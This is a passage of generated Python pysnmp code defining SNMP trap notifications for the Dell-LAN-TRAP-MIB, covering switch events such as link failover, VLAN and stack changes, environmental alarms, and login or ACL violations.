linkFailureSwitchBackUp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 580)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: linkFailureSwitchBackUp.setStatus('current')
if mibBuilder.loadTexts: linkFailureSwitchBackUp.setDescription('Automantic switchover to backup link because of main link fault. The dellTrapSource indicates the backup link coming on, and the dellTrapInfo indicates the failed link.')
mainLinkUp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 590)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: mainLinkUp.setStatus('current')
if mibBuilder.loadTexts: mainLinkUp.setDescription('Communication returned to main link. The dellTrapSource indicates the main link coming up, and the dellTrapInfo indicates the backup link.')
errorsDuringInit = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 600)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: errorsDuringInit.setStatus('current')
if mibBuilder.loadTexts: errorsDuringInit.setDescription('This trap indicates that the an error occured during initialization phase of the switch. Additional information is provided in the dellTrapInfo field.')
vlanDynPortAdded = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 610)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanDynPortAdded.setStatus('current')
if mibBuilder.loadTexts: vlanDynPortAdded.setDescription('Indicates that a port was dynamically added to the VLAN. The dellTrapSource will indicate the VLAN, and the dellTrapInfo will indicate the port being added.')
vlanDynPortRemoved = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 620)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanDynPortRemoved.setStatus('current')
if mibBuilder.loadTexts: vlanDynPortRemoved.setDescription('Indicates that a port was dynamically removed from a VLAN. The dellTrapSource will indicate the VLAN, and the dellTrapInfo will indicate the port being removed.')
ipZhrReqStaticConnNotAccepted = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 630)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: ipZhrReqStaticConnNotAccepted.setStatus('current')
if mibBuilder.loadTexts: ipZhrReqStaticConnNotAccepted.setDescription('The requested static connection was not accepted because there is no available IP virtual address to allocate to it.')
ipZhrVirtualIpAsSource = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 640)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: ipZhrVirtualIpAsSource.setStatus('current')
if mibBuilder.loadTexts: ipZhrVirtualIpAsSource.setDescription('The virtual IP address appeared as a source IP. All the connections using it will be deleted and it will not be further allocated to new connections.')
ipZhrNotAllocVirtualIp = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 650)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: ipZhrNotAllocVirtualIp.setStatus('current')
if mibBuilder.loadTexts: ipZhrNotAllocVirtualIp.setDescription('The source IP address sent an ARP specifying a virtual IP which was not allocated for this source. This virtual IP will not be allocated to connections of this specific source IP.')
stackMasterFailed = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 660)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackMasterFailed.setStatus('current')
if mibBuilder.loadTexts: stackMasterFailed.setDescription('Indicates that the stack master unit has failed. This trap is generated by the new master when it takes over the stack. The dellTrapSource should be the new master unit #, and the dellTrapInfo should identify the old master unit #.')
stackNewMasterElected = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 670)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackNewMasterElected.setStatus('current')
if mibBuilder.loadTexts: stackNewMasterElected.setDescription('Indicates when a new master has been elected. This is different from a stack failure in that the master has not failed but for some reason a new master has been elected (e.g. the user requested a new master. The trap should be generated by the new master. the dellTrapSource should identify the new master, and the dellTrapInfo should identify the old master.')
stackMemberUnitFailed = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 680)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackMemberUnitFailed.setStatus('current')
if mibBuilder.loadTexts: stackMemberUnitFailed.setDescription('Indicates that a member of the stack has failed. This condition is detected by the master unit so the dellTrapSource should indicate the master unit ID and the dellTrapInfo should indicate the member unit that failed.')
stackNewMemberUnitAdded = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 690)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackNewMemberUnitAdded.setStatus('current')
if mibBuilder.loadTexts: stackNewMemberUnitAdded.setDescription('Indicates that a new member unit has been added to the stack. This trap is generated by the master unit so the dellTrapSource should indicate the master unit ID, and the dellTrapInfo should identify the new unit ID.')
stackMemberUnitRemoved = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 700)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackMemberUnitRemoved.setStatus('current')
if mibBuilder.loadTexts: stackMemberUnitRemoved.setDescription('Indicates that a member unit has been removed from the stack. The dellTrapSource indicates the master unit ID and the dellTrapInfo indicates the unit ID being removed.')
stackSplitMasterReport = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 710)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackSplitMasterReport.setStatus('current')
if mibBuilder.loadTexts: stackSplitMasterReport.setDescription('Indicates that the stack has split into two distinct stacks which means that each stack may end up with its own master temporarily until the stack is rejoined. This is possibly different from the stackMemberUnitFailed trap, which indicates only a single unit failure. This trap indicates that the master has lost track of part of the stack membership so that the other units may elect their own master. The dellTrapSource should indicate the master unit ID and the dellTrapInfo should identify the units that are split from the main stack.')
stackSplitNewMasterReport = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 720)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackSplitNewMasterReport.setStatus('current')
if mibBuilder.loadTexts: stackSplitNewMasterReport.setDescription('Indicates that the stack has split into two distinct stacks which means that each stack may end up with its own master temporarily until the stack is rejoined. This trap is generated by the new master unit elected in the split sub-stack. The dellTrapSource should identify the new master unit ID, and the dellTrapInfo should identify the old master unit ID before the split occured.')
stackRejoined = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 730)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackRejoined.setStatus('current')
if mibBuilder.loadTexts: stackRejoined.setDescription('Indicates that previously split stack has rejoined. The rejoined stack will elect a master and this trap should be generated by the elected master. The dellTrapSource should indicate the master unit ID and the dellTrapInfo should list the unit IDs of the members.')
stackLinkFailed = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 740)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stackLinkFailed.setStatus('current')
if mibBuilder.loadTexts: stackLinkFailed.setDescription('Indicates a failure in one of the stacking link. If this stack was connected in a ring, then the failure of a stacking link results in a chain stack instead of a ring. Another failure in the chain topology would result in a split stack. If the stack is connected in a meshed or star topology then multiple link failure may be tolerated. This trap may be generated by any unit within the stack and must indicate the source of the failure. The dellTrapSource should identify one end of the link where the failure is detected. The dellTrapInfo may provide additional information about the failure.')
dhcpAllocationFailure = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 750)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: dhcpAllocationFailure.setStatus('current')
if mibBuilder.loadTexts: dhcpAllocationFailure.setDescription('DHCP failed to allocate an IP address to a requesting host because of memory shortage or inadequate configuration of available IP addresses.')
dot1dStpPortStateForwarding = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 760)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: dot1dStpPortStateForwarding.setStatus('current')
if mibBuilder.loadTexts: dot1dStpPortStateForwarding.setDescription('The trap is sent by a bridge when any of its configured ports transitions from the Learning state to the Forwarding state.')
dot1dStpPortStateNotForwarding = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 770)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: dot1dStpPortStateNotForwarding.setStatus('current')
if mibBuilder.loadTexts: dot1dStpPortStateNotForwarding.setDescription('The trap is sent by a bridge when any of its configured ports transitions from the Forwarding state to the Blocking state.')
policyDropPacketTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 780)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: policyDropPacketTrap.setStatus('current')
if mibBuilder.loadTexts: policyDropPacketTrap.setDescription('Indicates that the packet drop due to the policy. This trap may result in a huge number of trap packets and should be used only for debugging purposes. The number of traps sent per time period is user configurable and the user may enable/disable generation of this trap.')
policyForwardPacketTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 790)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: policyForwardPacketTrap.setStatus('current')
if mibBuilder.loadTexts: policyForwardPacketTrap.setDescription('Indicates that the packet has forward based on policy. The number of traps sent per time period is user configurable and the user may enable/disable generation of this trap.')
igmpV1MsgReceived = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 800)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: igmpV1MsgReceived.setStatus('current')
if mibBuilder.loadTexts: igmpV1MsgReceived.setDescription('An IGMP Message of v1 received on a given interface. The dellTrapSource should indicate the interface.')
vrrpEntriesDeleted = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 810)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vrrpEntriesDeleted.setStatus('current')
if mibBuilder.loadTexts: vrrpEntriesDeleted.setDescription('One or more VRRP entries deleted due to IP interface deletion or transition. ')
trunkPortAddedTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 820)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: trunkPortAddedTrap.setStatus('current')
if mibBuilder.loadTexts: trunkPortAddedTrap.setDescription('Informational trap indicating that a port is added to a trunk. The dellTrapSource should indicate the trunk to which the port is added. The dellTrapInfo should indicate the port being added.')
trunkPortRemovedTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 830)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: trunkPortRemovedTrap.setStatus('current')
if mibBuilder.loadTexts: trunkPortRemovedTrap.setDescription('This warning is generated when a port removed from a trunk. The dellTrapSource should indicate the trunk from which the port is removed. The dellTrapInfo should indicate the port being removed.')
lockPortTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 840)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: lockPortTrap.setStatus('current')
if mibBuilder.loadTexts: lockPortTrap.setDescription('Informational trap indicating that a port that is blocked from MAC learning has receive a frame with new source Mac Address. The dellTrapSource should identify the port and the dellTrapInfo should specify the new MAC address received.')
vlanDynVlanAdded = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 850)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanDynVlanAdded.setStatus('current')
if mibBuilder.loadTexts: vlanDynVlanAdded.setDescription('Indicates that a dynamic VLAN has been added via GVRP. The dellTrapSource should identify the VLAN being added.')
vlanDynVlanRemoved = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 860)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanDynVlanRemoved.setStatus('current')
if mibBuilder.loadTexts: vlanDynVlanRemoved.setDescription('Indicates that a dynamic VLAN has been removed via GVRP. The dellTrapSource should identify the VLAN being removed.')
vlanDynamicToStatic = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 870)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanDynamicToStatic.setStatus('current')
if mibBuilder.loadTexts: vlanDynamicToStatic.setDescription('Indicates that a dynamic VLAN has been made static. The dellTrapSource should identify the VLAN.')
vlanStaticToDynamic = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 880)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: vlanStaticToDynamic.setStatus('current')
if mibBuilder.loadTexts: vlanStaticToDynamic.setDescription('Indicates that a static VLAN has been made dynamic. The dellTrapSource should identify the VLAN.')
envMonFanStateChange = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 890)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: envMonFanStateChange.setStatus('current')
if mibBuilder.loadTexts: envMonFanStateChange.setDescription('Trap indicating the fan state. The dellTrapSource should identify the exact fan index if there are multiple fans. The dellTrapInfo may provide additional info relating to the fan new state.')
envMonPowerSupplyStateChange = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 900)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: envMonPowerSupplyStateChange.setStatus('current')
if mibBuilder.loadTexts: envMonPowerSupplyStateChange.setDescription('Trap indicating the power supply state. The dellTrapSource should identify the exact power supply. The dellTrapInfo may provide additional info regarding the power state.')
envMonTemperatureRisingAlarm = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 910)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: envMonTemperatureRisingAlarm.setStatus('current')
if mibBuilder.loadTexts: envMonTemperatureRisingAlarm.setDescription('Trap indicating that the temperature in the device has exceeded the device specific safe temperature threshold.')
copyFinished = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 920)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: copyFinished.setStatus('current')
if mibBuilder.loadTexts: copyFinished.setDescription('Informational trap indicating that the device has finished a copy operation successfully.')
copyFailed = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 930)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: copyFailed.setStatus('current')
if mibBuilder.loadTexts: copyFailed.setDescription('Informational trap indicating that the copy operation has failed.')
dot1xPortStatusAuthorizedTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 940)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: dot1xPortStatusAuthorizedTrap.setStatus('current')
if mibBuilder.loadTexts: dot1xPortStatusAuthorizedTrap.setDescription('Informational trap indicating that port 802.1x status is authorized.')
dot1xPortStatusUnauthorizedTrap = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 950)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: dot1xPortStatusUnauthorizedTrap.setStatus('current')
if mibBuilder.loadTexts: dot1xPortStatusUnauthorizedTrap.setDescription('Warning trap is indicating that port 802.1x status is unAuthorized.')
broadcastStormDetected = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 960)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: broadcastStormDetected.setStatus('current')
if mibBuilder.loadTexts: broadcastStormDetected.setDescription('Indicates that a broadcast storm has been detected. The dellTrapSource should indicate the port on which the broadcast storm is detected.')
stpElectedAsRoot = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 970)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stpElectedAsRoot.setStatus('current')
if mibBuilder.loadTexts: stpElectedAsRoot.setDescription('Indicates that the switch has been elected as the new STP root.')
stpNewRootElected = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 980)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: stpNewRootElected.setStatus('current')
if mibBuilder.loadTexts: stpNewRootElected.setDescription('Indicates that a new root has been elected. The dellTrapSource should indicate the member unit number and the dellTrapInfo should provide information on the new root.')
igmpElectedAsQuerier = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 990)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: igmpElectedAsQuerier.setStatus('current')
if mibBuilder.loadTexts: igmpElectedAsQuerier.setDescription('Indicates that this switch has been elected as the new IGMP snooping querier.')
invalidUserLoginAttempted = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1000)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: invalidUserLoginAttempted.setStatus('current')
if mibBuilder.loadTexts: invalidUserLoginAttempted.setDescription('Indicates that an invalid user tries to login to the CLI or Web. The dellTrapSource should indicate the unit member ID and the dellTrapInfo should indicate whether the login attempt is on the CLI or Web and the IP address from which the attempt was made.')
managementACLViolation = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1010)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: managementACLViolation.setStatus('current')
if mibBuilder.loadTexts: managementACLViolation.setDescription('Indicates that an SNMP request or CLI/Web access request was received but does not meet the management ACL rules. For example, if the request comes from an invalid IP address or has the wrong SNMP community string (for V1/2c) or is not authenticated for SNMPv3, etc. The dellTrapSource should indicate the unit # and the dellTrapInfo should indicate which interface (web, cli, snmp) is violated and the source IP address of the request.')
sfpInserted = NotificationType((1, 3, 6, 1, 4, 1, 674, 10895, 1020)).setObjects(("Dell-LAN-TRAP-MIB", "dellTrapTimeStamp"), ("Dell-LAN-TRAP-MIB", "dellTrapSeqNum"), ("Dell-LAN-TRAP-MIB", "dellTrapSource"), ("Dell-LAN-TRAP-MIB", "dellTrapSeverity"), ("Dell-LAN-TRAP-MIB", "dellTrapInfo"))
if mibBuilder.loadTexts: sfpInserted.setStatus('current')
if mibBuilder.loadTexts: sfpInserted.setDescription('Indicates that an SFP was inserted into the system. The dellTrapSource should indicate the unit # and the dellTrapInfo should indicate on which interface was the SFP inserted.')
